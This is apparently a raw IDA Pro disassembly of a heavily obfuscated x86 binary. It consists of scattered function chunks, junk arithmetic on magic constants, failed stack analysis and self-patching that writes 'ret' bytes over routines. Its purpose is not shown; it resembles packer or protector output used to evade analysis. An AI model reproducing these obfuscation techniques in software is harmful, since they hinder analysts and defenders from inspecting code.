FUNCTION CHUNK FOR sub_43FAC6 loc_443B73: ; CODE XREF: sub_43FAC6+5E1Ej jmp loc_44DD14 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- jmp loc_44C695 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_443B7E: ; CODE XREF: y22d6.y.:0044B464j cdq xchg eax, ecx jmp loc_44C542 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_260. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_443B87: ; CODE XREF: y22d6.y.:0043E90Cj jno loc_43DE86 push 35719B1h ; START OF FUNCTION CHUNK FOR sub_441030 loc_443B92: ; CODE XREF: sub_441030:loc_43E8EAj add esi, 0A311EDDCh xchg esi, [esp+0] jmp loc_44D6B2 ; END OF FUNCTION CHUNK FOR sub_441030 ; =============== S U B R O U T I N E ======================================= sub_443BA0 proc near ; DATA XREF: sub_4489FA+10o ; FUNCTION CHUNK AT 0043E718 SIZE 00000005 BYTES call sub_43AB31 cmp eax, [ebp-8] push offset loc_442A56 jmp loc_43E718 sub_443BA0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_443BB2: ; CODE XREF: sub_43C3DD-7F1j call sub_44E16C loc_443BB7: ; CODE XREF: y22d6.y.:00444D11j jmp loc_4385B6 ; END OF FUNCTION CHUNK FOR sub_43C3DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A620 loc_443BBC: ; CODE XREF: sub_44A620+9j mov eax, ebx pop ebx mov ds:dword_44D0D8, edx loc_443BC5: ; CODE XREF: y22d6.y.:0043829Ej ; y22d6.y.:004417B7j xchg eax, edx jmp loc_449FB7 ; END OF FUNCTION CHUNK FOR sub_44A620 ; --------------------------------------------------------------------------- cdq push esi jmp sub_44563C ; =============== S U B R O U T I N E ======================================= sub_443BD2 proc near ; CODE XREF: y22d6.y.:00447BF0j ; sub_448EB6+2B6p ; FUNCTION CHUNK AT 00446F00 SIZE 0000001E BYTES xchg ecx, [esp+0] pop ecx push 7E9273ECh pop eax and eax, 1ED1B906h add eax, 0A2616F24h push ebx pushf jmp loc_446F00 sub_443BD2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DA4B loc_443BEF: ; CODE XREF: sub_44DA4B-1131Fj adc edx, ebx sbb ebx, 6331450Ch shr ebp, 1Ah jmp loc_449C97 ; END OF FUNCTION CHUNK FOR sub_44DA4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_443BFF: ; CODE XREF: sub_448EB6-5E3Bj mov edx, [esp-10h+arg_C] push ebx push eax pop ebx jmp loc_43C677 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_443C0A: ; CODE XREF: sub_439051:loc_43D8A5j add eax, esi pop esi loc_443C0D: ; CODE XREF: sub_443A5C+8j rol eax, 1Ch xor eax, 0D42D5B70h push esi push 1B073611h jmp loc_4374E1 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_443C21: ; CODE XREF: sub_43CFF2:loc_43D001j ror ebp, 3 or esi, 0AC9CB11Dh jmp loc_445CA0 ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447D7F loc_443C2F: ; CODE XREF: sub_4452EE:loc_438DE1j ; sub_43B7B5:loc_44744Fj ... jmp loc_4405EB ; END OF FUNCTION CHUNK FOR sub_447D7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_443C34: ; CODE XREF: sub_43B7B5+9B8Cj ; sub_4452EE+2344j xchg edx, [esp+0] mov ecx, edx pop edx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; =============== S U B R O U T I N E ======================================= sub_443C3C proc near ; CODE XREF: sub_44C980-13E2Fp ; sub_44AC0F:loc_43C4BBj ... ; FUNCTION CHUNK AT 004413A0 SIZE 00000005 BYTES push edx jmp loc_4413A0 sub_443C3C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_443C42: ; CODE XREF: sub_448EB6:loc_44241Dj jg loc_44CDF0 push ebx jmp sub_445C50 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E0A9 loc_443C4E: ; CODE XREF: sub_43E0A9:loc_444F50j push offset loc_444AC7 jmp loc_43AE64 ; END OF FUNCTION CHUNK FOR sub_43E0A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_443C58: ; CODE XREF: sub_4409F4:loc_43B0C0j call sub_43734D test eax, eax jnz loc_44DF2E jmp loc_4421A0 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_443C6B: ; CODE XREF: sub_43837F+2F8Dj jmp loc_43D4F4 ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E63C loc_443C70: ; CODE XREF: sub_44E63C:loc_43FEB5j jz loc_43F34E jmp loc_449CDD ; END OF FUNCTION CHUNK FOR sub_44E63C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B566 loc_443C7B: ; CODE XREF: sub_43B566:loc_448591j xor edi, 0FCAC7F30h rol edi, 0Ah add edi, 217BF60Bh test edi, 40000000h jmp loc_439586 ; END OF FUNCTION CHUNK FOR sub_43B566 ; =============== S U B R O U T I N E ======================================= sub_443C95 proc near ; CODE XREF: y22d6.y.:loc_4412A8p ; y22d6.y.:0044C907j xchg edi, [esp+0] pop edi mov ds:dword_41E070, eax lea eax, nullsub_9 jmp loc_44A36A sub_443C95 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_443CAA: ; CODE XREF: y22d6.y.:004389F2j jbe loc_44CF06 mov ebp, [edx] sub edi, ebx jmp loc_443487 ; =============== S U B R O U T I N E ======================================= sub_443CB9 proc near ; CODE XREF: sub_43923C+3569p ; y22d6.y.:0044D4A2j ; FUNCTION CHUNK AT 0043D755 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_43CA1A mov ds:off_41E0A4, eax lea eax, sub_43923C mov byte ptr [eax], 0C3h jmp loc_43D755 sub_443CB9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_443CD6: ; CODE XREF: sub_43923Cj xchg edi, [esp+0] jmp loc_43A402 ; END OF FUNCTION CHUNK FOR sub_43923C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_443CDE: ; CODE XREF: sub_44A359:loc_4478F4j xchg esi, edi jz sub_437712 jmp loc_4455A7 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- jmp ds:off_41E114 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E139 loc_443CF1: ; CODE XREF: sub_43E139:loc_43BEB6j ; sub_43E139:loc_43F4E5j ... jb loc_444E9A call sub_44D063 ; END OF FUNCTION CHUNK FOR sub_43E139 ; =============== S U B R O U T I N E ======================================= sub_443CFC proc near ; CODE XREF: y22d6.y.:0044539Fj ; sub_43E5C2+6EE1p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] jmp sub_43CA1A sub_443CFC endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or eax, eax jnz loc_4417E7 jmp loc_43AD09 ; --------------------------------------------------------------------------- loc_443D16: ; CODE XREF: y22d6.y.:0043AE75j jle loc_43DC3B pushf ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_443D1D: ; CODE XREF: sub_43C7C1+1AB9j mov ebx, [edx] jmp loc_4495C8 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D54C loc_443D25: ; CODE XREF: sub_44D54C+11j jmp sub_44D499 ; END OF FUNCTION CHUNK FOR sub_44D54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_443D2A: ; CODE XREF: sub_43FAC6:loc_4375A5j mov eax, [ebp-4] mov al, [eax] jo loc_44CF7B sub al, 99h jmp loc_44B87F ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_443D3C: ; DATA XREF: sub_43B566+2EF9o mov edi, [edi] add eax, edi pop edi cmp eax, [ebp-10h] jbe loc_438C96 jmp loc_448CE7 ; --------------------------------------------------------------------------- loc_443D4F: ; CODE XREF: y22d6.y.:loc_44A65Dj shr eax, 1 ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_443D51: ; CODE XREF: sub_4475B3:loc_44A635j and ecx, 6D36EDE7h add ecx, 0F840E922h xchg ecx, [esp+0] jmp loc_44E1F2 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- call sub_443D70 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_443D6B: ; CODE XREF: sub_4432B8+1CAj jmp loc_43808C ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443D70 proc near ; CODE XREF: y22d6.y.:00443D65p ; FUNCTION CHUNK AT 00438E8E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445D3A SIZE 00000005 BYTES push ebx mov ebx, ebp xchg ebx, [esp+0] mov ebp, esp jmp loc_445D3A sub_443D70 endp ; --------------------------------------------------------------------------- loc_443D7D: ; DATA XREF: sub_44D6D0:loc_438C2Bo mov [ebp-0Ch], eax xor eax, eax push ecx push 0B9CD6F57h jmp loc_44AD5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_443D8D: ; CODE XREF: y22d6.y.:0043EF51j ; sub_44B489:loc_44454Fj mov esp, ebp xchg edx, [esp+0] mov ebp, edx pop edx push 0AD66571Fh pop eax jmp loc_442AAB ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C22F loc_443DA0: ; CODE XREF: sub_43C22F+AC88j xchg edi, [esp-4+arg_0] jmp loc_439C61 ; END OF FUNCTION CHUNK FOR sub_43C22F ; --------------------------------------------------------------------------- mov eax, 0C7CC2482h push ebx push 7E8A91AEh pop ebx sub ebx, 7E797B7Fh add ebx, 32D3CAh jmp loc_43E9F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_443DC5: ; CODE XREF: sub_440280+6j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_44BA63 jmp loc_438AEA ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_443DD9: ; CODE XREF: sub_439E63:loc_44716Aj pop esi and esi, 9F0D459Fh loc_443DE0: ; CODE XREF: sub_44156E:loc_44D213j jnz loc_4448B9 loc_443DE6: ; CODE XREF: sub_449C1B-9636j jmp loc_4426EA ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- sbb edx, esi jmp loc_4448B4 ; --------------------------------------------------------------------------- loc_443DF2: ; CODE XREF: y22d6.y.:0043C04Aj push 0ED168539h shl ebp, 0Ch ; START OF FUNCTION CHUNK FOR sub_441030 loc_443DFA: ; CODE XREF: sub_441030-4FFCj add esi, 7114583Fh xor esi, 2C655509h cmp esi, 0C4E8FCFFh jmp loc_43918C ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- push 26E35537h pop eax xor eax, 0F4A8FDEh test eax, 8 jmp loc_43EEE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_443E28: ; CODE XREF: sub_4432B8+308j rol eax, 15h push eax call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_443E32: ; CODE XREF: sub_43F501-1C51j jmp loc_43E24A ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43979A loc_443E37: ; CODE XREF: sub_43979A+Dj jmp sub_442060 ; END OF FUNCTION CHUNK FOR sub_43979A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_443E3C: ; CODE XREF: sub_44BCC2:loc_445851j ; sub_44BCC2:loc_44B91Aj mov eax, [ebp-108h] push 0C8E369F8h xchg ebx, [esp+8+var_8] jmp loc_43AC74 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- xchg ecx, edx jmp sub_4407AE ; --------------------------------------------------------------------------- loc_443E56: ; CODE XREF: y22d6.y.:0044AFE2j js loc_448687 mov ebp, 9F8D4EA0h xchg eax, [esi] loc_443E63: ; CODE XREF: y22d6.y.:00441B9Fj rol edx, 2 add edx, 0A07BEE6Ah loc_443E6C: ; CODE XREF: y22d6.y.:00447DBBj mov [edx], eax pop edx lea eax, nullsub_340 jmp loc_43BCF2 ; --------------------------------------------------------------------------- loc_443E7A: ; CODE XREF: y22d6.y.:00448B9Bj rol eax, 3 loc_443E7D: ; CODE XREF: y22d6.y.:004458F2j xor edx, 1000B7AAh and edx, 0D2E2DA27h or edx, 365BAE82h jmp loc_43F6C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CC1A loc_443E94: ; CODE XREF: sub_43CC1A:loc_43FADAj cmp dword ptr [eax], 0 jnz loc_43E28D jmp loc_44AF9C ; END OF FUNCTION CHUNK FOR sub_43CC1A ; =============== S U B R O U T I N E ======================================= sub_443EA2 proc near ; CODE XREF: sub_44E14E:loc_447DA7j ; sub_43CC1A+B486p ... ; FUNCTION CHUNK AT 0043781E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00437970 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00437BC8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043C2AA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CFDB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D9F0 SIZE 00000008 BYTES jnz sub_437833 push ebp jmp loc_43C2AA sub_443EA2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_443EAE: ; CODE XREF: sub_43B98D:loc_43E60Ej or dword ptr [eax-8], 4 loc_443EB2: ; CODE XREF: y22d6.y.:0043F38Cj mov eax, [ebp-4] movzx eax, byte ptr [eax] push offset loc_44BB5A jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- loc_443EC2: ; CODE XREF: y22d6.y.:0043C000j and ebx, ecx loc_443EC4: ; CODE XREF: y22d6.y.:loc_43D416j mov eax, [ebp-18h] mov eax, [eax] shl eax, 3 jmp loc_43A2D2 ; --------------------------------------------------------------------------- loc_443ED1: ; CODE XREF: y22d6.y.:loc_44A9A3j jz loc_4401AD jmp loc_444211 ; --------------------------------------------------------------------------- locret_443EDC: ; CODE XREF: y22d6.y.:004486E4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F35E loc_443EDD: ; CODE XREF: sub_43F35E:loc_44DE6Ej jmp loc_44464C ; END OF FUNCTION CHUNK FOR sub_43F35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_443EE2: ; CODE XREF: sub_44807C+21A9j jmp loc_439A12 ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444865 loc_443EE7: ; CODE XREF: sub_444865+7j jmp loc_44B5EA ; END OF FUNCTION CHUNK FOR sub_444865 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_443EEC: ; CODE XREF: sub_449641-114E5j jmp loc_43E343 ; END OF FUNCTION CHUNK FOR sub_449641 ; =============== S U B R O U T I N E ======================================= sub_443EF1 proc near ; DATA XREF: sub_445DB1+15o ; FUNCTION CHUNK AT 004393D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BB94 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004401D6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044040F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044717A SIZE 00000017 BYTES call sub_44B003 cmp ds:dword_442A78, 0 jnz loc_4401D6 lea edx, [ebp-14h] loc_443F06: ; CODE XREF: y22d6.y.:loc_4441CDj mov eax, offset dword_442A88 jmp loc_44040F sub_443EF1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_443F10: ; CODE XREF: sub_43B09B:loc_438068j ; sub_4383E0:loc_4383F8j call sub_43CA1A mov ds:off_41E05C, eax lea eax, sub_43B09B mov byte ptr [eax], 0C3h jmp sub_43B09B ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_443F29: ; CODE XREF: sub_43B09Bj pop edx mov eax, [esp+0] push edx call sub_43E913 jmp loc_440BB5 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B878 loc_443F38: ; CODE XREF: sub_43B878:loc_43A678j xor eax, 402E14D5h add eax, ebp add eax, 6991762Dh mov eax, [eax] jmp loc_44164C ; END OF FUNCTION CHUNK FOR sub_43B878 ; --------------------------------------------------------------------------- mov ds:dword_41E130, eax lea eax, nullsub_8 mov byte ptr [eax], 0C3h jmp loc_442AFA ; --------------------------------------------------------------------------- call nullsub_351 jmp loc_43BECD ; --------------------------------------------------------------------------- loc_443F6B: ; CODE XREF: y22d6.y.:loc_44E352j jz loc_439B48 jmp loc_44DD53 ; --------------------------------------------------------------------------- loc_443F76: ; DATA XREF: sub_43CA62o pop edx jns loc_44141F mov eax, [esp] push edx call sub_442C0C push 4FD3DDDBh jmp loc_43F8AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_443F90: ; CODE XREF: sub_43B98D:loc_43B99Bj mov eax, [ebp+8] call sub_44E3D0 loc_443F98: ; CODE XREF: y22d6.y.:0044D4B2j jmp loc_43D2EE ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- and edi, ebp jmp sub_43BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_443FA4: ; CODE XREF: sub_4432B8:loc_43B650j ; sub_43ED4E:loc_43DE90j push esi jmp loc_444734 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_443FAB: ; CODE XREF: sub_43E185+B01Dj jmp loc_43B296 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- loc_443FB0: ; CODE XREF: y22d6.y.:loc_44516Cj jz loc_445B52 ; START OF FUNCTION CHUNK FOR sub_439FCB loc_443FB6: ; CODE XREF: sub_439FCB+2FEDj jmp nullsub_371 ; END OF FUNCTION CHUNK FOR sub_439FCB ; --------------------------------------------------------------------------- xor ecx, 39C7711Dh adc eax, ebp jmp loc_445B4B ; --------------------------------------------------------------------------- loc_443FC8: ; CODE XREF: y22d6.y.:004396DFj jbe loc_445DD7 ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_443FCE: ; CODE XREF: sub_44BCC2-125F9j rol edx, 0Ah or edx, 0C37E4AB4h rol edx, 11h cmp edx, 7F487907h jmp loc_44291B ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- loc_443FE5: ; CODE XREF: y22d6.y.:004463A4j jp loc_43D202 ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_443FEB: ; CODE XREF: sub_43C3DD:loc_4385B6j rol eax, 9 sub eax, 0CB67CC8Fh add eax, 9EAE8586h xchg eax, [esp+0] jmp loc_43A717 ; END OF FUNCTION CHUNK FOR sub_43C3DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_444002: ; CODE XREF: sub_43B09B+EFF5j jz loc_43E8D4 adc ebp, esi jl loc_43CC58 jmp loc_43E8D4 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_444015: ; CODE XREF: y22d6.y.:loc_4486D0j mov ebp, 630E2325h jmp sub_44731A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44401F: ; CODE XREF: sub_43B09B+31CDj cmp ebx, eax jmp loc_440F52 ; END OF FUNCTION CHUNK FOR sub_43B09B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_444027: ; CODE XREF: y22d6.y.:0044B2D8j jmp loc_43A247 ; --------------------------------------------------------------------------- loc_44402C: ; CODE XREF: y22d6.y.:00441C5Ej jmp loc_444C3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_444031: ; CODE XREF: sub_4416CB-6D4Bj jmp loc_43954D ; END OF FUNCTION CHUNK FOR sub_4416CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_444036: ; CODE XREF: sub_44057E-40CEj push 6049A652h pop esi sub esi, 9938A0EAh and esi, 0EE8B4DA5h xor esi, 55C06392h add ebp, esi add ebp, 6C3E9926h jmp loc_44DAE2 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_44405B: ; CODE XREF: y22d6.y.:0044A827j jo loc_44C602 xor ecx, edi loc_444063: ; CODE XREF: y22d6.y.:loc_43D6CBj push eax push 82D14DA0h pop eax xor eax, 3AFC3D82h add eax, 402E0A06h jmp loc_44C97B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44407C: ; CODE XREF: sub_43BDB0+Dj jmp sub_4422AA ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- loc_444081: ; CODE XREF: y22d6.y.:00437B80j xor eax, 0F025FA9Bh jmp loc_438E66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_44408C: ; CODE XREF: sub_43704Ej mov eax, ds:dword_443028 or eax, eax jnz loc_44638B jmp loc_43B4B0 ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- not ebx cdq jmp sub_439945 ; --------------------------------------------------------------------------- loc_4440A7: ; DATA XREF: sub_437833+B1C3o or eax, eax jnz loc_43D9F0 call sub_43760A mov edx, 0B9726E5Ah call sub_44D293 push offset sub_43D9E5 jmp locret_44C8A2 ; --------------------------------------------------------------------------- mov [edi], ebp xor eax, esi jmp sub_4400EF ; --------------------------------------------------------------------------- loc_4440D1: ; CODE XREF: y22d6.y.:loc_447CEBj mov ebx, [eax] jmp loc_440BD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_4440D8: ; CODE XREF: sub_44AEDA-1177Aj mov eax, [ebp-14h] call sub_43AD94 mov edx, [ebp-18h] jmp loc_44871F ; --------------------------------------------------------------------------- loc_4440E8: ; CODE XREF: sub_44AEDA:loc_43E9AFj mov eax, [ebp-24h] test byte ptr [eax+1], 80h jnz loc_44AB6F jmp loc_439D12 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- and edx, edi jmp loc_447E66 ; --------------------------------------------------------------------------- loc_444101: ; CODE XREF: y22d6.y.:loc_441647j mov edi, [eax] jmp loc_442F45 ; --------------------------------------------------------------------------- loc_444108: ; CODE XREF: y22d6.y.:loc_4463A9j ; DATA XREF: sub_43704E+F346o ror eax, 6 xor eax, 1E976CBDh ror eax, 2 jno loc_43D554 push esi push 0AFF193Bh pop esi rol esi, 14h jmp loc_43E2A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_444129: ; CODE XREF: sub_43A58D+51BEj xchg ebx, [esp+0] jmp loc_43BAB1 ; END OF FUNCTION CHUNK FOR sub_43A58D ; =============== S U B R O U T I N E ======================================= sub_444131 proc near ; CODE XREF: y22d6.y.:004386B9j ; sub_448A6F+16p ; FUNCTION CHUNK AT 0043F23B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043F3D9 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 004443EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447212 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add edi, ebp push esi push 9AD0610Fh pop esi sub esi, 28FFE2FCh jmp loc_43F3D9 sub_444131 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_444149: ; CODE XREF: y22d6.y.:00445FC2j xchg ebp, [eax] or edx, 1711DD83h sub edx, 4C6A1066h jmp loc_44A0CA ; =============== S U B R O U T I N E ======================================= sub_44415C proc near ; CODE XREF: y22d6.y.:004478E9j ; sub_44ABB0-62Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044A345 SIZE 00000014 BYTES xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] call sub_4463CE mov eax, 9DD7AB44h call sub_43CA1A jmp loc_44A345 sub_44415C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_444177: ; CODE XREF: y22d6.y.:00446E1Cj xor eax, eax loc_444179: ; CODE XREF: y22d6.y.:0044C0B7j mov ds:dword_441950, eax jmp loc_44528B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444183 proc near ; CODE XREF: sub_44A9DFj ; FUNCTION CHUNK AT 004430D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044528B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004483A9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044C6B3 SIZE 00000017 BYTES push ebp mov ebp, esp push ecx loc_444187: ; CODE XREF: sub_44AEDA:loc_447388j cmp ds:dword_441950, 0 jmp loc_4430D9 sub_444183 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_444193: ; CODE XREF: sub_440494:loc_442ED9j jz loc_448917 jmp loc_43D996 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_44419E: ; CODE XREF: sub_43F501+E0D1j pop eax loc_44419F: ; CODE XREF: sub_43F501:loc_448E5Fj call sub_43760A push 0AAEA3562h pop edx rol edx, 14h add edx, 9C8DEB76h jmp loc_445F03 ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B81B loc_4441B8: ; CODE XREF: sub_44B81B:loc_43CF2Ej mov eax, [esp-4+arg_0] push edx push esi push 1339AEF2h or esi, 0BE249629h jmp loc_446F9F ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- loc_4441CD: ; CODE XREF: y22d6.y.:0043E761j ja loc_443F06 sub ecx, 841AA0EEh ; =============== S U B R O U T I N E ======================================= sub_4441D9 proc near ; CODE XREF: y22d6.y.:0043DA53p ; FUNCTION CHUNK AT 00437676 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004380B4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F091 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044813D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B4DB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044C0F2 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0044E417 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx push edx push 0E72560BCh jmp loc_44E417 sub_4441D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4441E8 proc near ; CODE XREF: sub_43F501-5582p ; y22d6.y.:0044BFD5j ; FUNCTION CHUNK AT 00447F38 SIZE 0000000C BYTES xchg edi, [esp+0] pop edi mov [ebp-4], eax mov eax, [ebp-4] jmp loc_447F38 sub_4441E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_4441F7: ; CODE XREF: y22d6.y.:00437F8Cj ; sub_43B09B:loc_44AC3Dj rol eax, 17h jnb loc_4461E4 ; END OF FUNCTION CHUNK FOR sub_43B09B ; START OF FUNCTION CHUNK FOR sub_4419CC loc_444200: ; CODE XREF: sub_4419CC+1Dj jmp sub_449ECF ; END OF FUNCTION CHUNK FOR sub_4419CC ; 